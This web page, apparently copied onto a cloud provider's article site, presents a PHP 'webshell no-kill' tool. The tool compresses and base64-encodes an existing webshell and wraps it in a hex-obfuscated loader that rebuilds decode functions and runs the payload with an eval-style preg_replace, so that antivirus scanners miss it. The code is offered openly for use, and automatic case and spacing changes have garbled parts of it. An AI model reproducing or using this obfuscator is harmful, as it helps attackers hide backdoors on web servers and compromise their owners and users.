PHP-written Webshell super-kill-free tool code

Source: Internet
Author: User
  1. /*
  2. title:php Shell Nokill t00l
  3. Blog:exploit-db.blogcn.com
  4. */
  5. error_reporting (0);
  6. @ini_set (' Memory_limit ', '-1 ');
  7. Set_time_limit (0);
  8. $toolname = "$argv [0]";
  9. if ($ARGC <2) {
  10. Baner ($toolname);
  11. Die
  12. }
  13. $input _file= Trim ($argv [1]);
  14. $output _file= ' Nokill_ '. $input _file;
  15. if (file_exists ($input _file)) {
  16. NO_KILL_C0DE ($input _file, $output _file);
  17. echo "PHP shell Nokill t00l\r\n";
  18. echo "blog:exploit-db.blogcn.com\r\n";
  19. echo "Input: {$input _file}\r\n";
  20. $file _full_path=dirname (__file__). Directory_separator. $output _file;
  21. echo "[+] Generate success!\r\n";
  22. echo "Saved to {$file _full_path}". \ r \ n ";
  23. } else {
  24. echo "PHP shell Nokill t00l\r\n";
  25. echo "blog:exploit-db.blogcn.com\r\n";
  26. Die ("[-] Failed!" The File $input _file does not exist ");
  27. }
  28. function no_kill_c0de ($input _file, $output _file) {
  29. $no _whitespace=php_strip_whitespace ($input _file);
  30. $no _php_tag=trim (Trim ($no _whitespace, ' );
  31. $enfile =base64_encode (gzdeflate ($no _php_tag));
  32. $shellcode = "\x3c\x3f\x70\x68\x70\xd\xa";
  33. $shellcode. = ' $enfile = '. '. ' {$enfile} ". '" '. ' "." \xd\xa ";
  34. $shellcode. = "\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\ X66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\ X66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\ X27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\ X58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\ X5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\ X28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa ";
  35. $shellcode. = "\x3f\x3e";
  36. File_put_contents ("$output _file", $shellcode);
  37. }
  38. function Baner ($toolname) {
  39. echo "PHP shell Nokill t00l\r\n";
  40. echo "blog:exploit-db.blogcn.com\r\n";
  41. echo "Usage: {$toolname} phpwebshell\r\n";
  42. }
  43. ?>
Copy Code
  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.